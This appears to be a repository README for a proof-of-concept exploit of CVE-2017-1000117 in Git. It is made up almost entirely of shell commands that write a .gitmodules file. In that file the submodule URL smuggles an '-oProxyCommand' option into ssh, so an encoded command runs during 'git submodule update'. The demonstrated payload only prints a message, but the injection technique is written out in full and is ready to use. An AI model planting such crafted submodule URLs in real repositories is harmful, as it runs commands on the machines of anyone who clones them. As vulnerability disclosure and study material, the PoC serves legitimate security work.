ikmski/cve-2017-1000117Proof-of-concept exploit for CVE-2017-1000117, demonstrating remote code execution via malicious Git submodule URLs using SSH ProxyCommand injection.
$ git clone --recursive [email protected]:ikmski/CVE-2017-1000117.git
$ cat message.txt | gzip | base64 > command
$ git submodule add [email protected]:ikmski/Hello-World.git subs/CVE-2017-1000117
$ cat << EOS > .gitmodules
[submodule "subs/CVE-2017-1000117"]
path = subs/CVE-2017-1000117
url = ssh://-oProxyCommand=cat command | base64 --decode | gzip -d >&2 /subs/CVE-2017-1000117
EOS
$ git submodule sync
$ git submodule update